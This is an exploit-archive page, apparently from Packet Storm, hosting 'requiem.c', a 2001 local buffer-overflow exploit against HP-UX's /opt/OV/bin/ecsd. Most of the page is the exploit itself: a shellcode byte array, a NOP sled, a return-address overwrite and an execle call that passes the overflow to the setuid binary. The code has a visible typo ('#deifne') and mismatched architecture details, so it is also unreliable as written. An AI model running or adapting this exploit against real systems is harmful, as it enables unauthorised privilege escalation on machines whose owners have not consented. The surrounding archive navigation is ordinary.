exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

requiem.c

requiem.c
Posted May 31, 2001
Authored by Sagi | Site idiotbox.co.il

HP/UX local exploit for /opt/OV/bin/ecsd.

tags | exploit, local
systems | hpux
SHA-256 | 2de424af94be9fb6a61cd2c72d940df117c2eeaae50d877ddb06a4652ee9abce

requiem.c

Change Mirror Download
/*   www.idiotbox.co.il 

/opt/OV/bin/ecsd local exploit,
Based on the bugtraq posting,
heavily influenced by solaris exploit code by LSD.
if you seem to have problems with getting ret, try using:
unsigned long int get_sp() { __asm__("or %sp,%sp,%i0");}
or gdb =)
greets go out to:
#b10z #!xor #whitehat
written by sagi (sagi@idiotbox.co.il)

www.idiotbox.co.il */


#define LEN 321
#deifne NOP 158
#define RET 100
#define ALLIGN 2




char shellcode[]=
"\x82\x10\x20\xca\x92\x1a\x40\x09\x90\x0a\x40\x09\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08";

char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;

static char nop[]="\x80\x1c\x40\x11";

main(int argc,char **argv){

char buffer[500],adr[4],*b;
int i;

*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+6048+1520;

b=buffer;
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<NOP;i++) *b++=nop[i%4];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<RET;i++) *b++=adr[i%4];
*b=0;

execle("/opt/OV/bin/ecsd","-restore_config",buffer,0,0);

}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close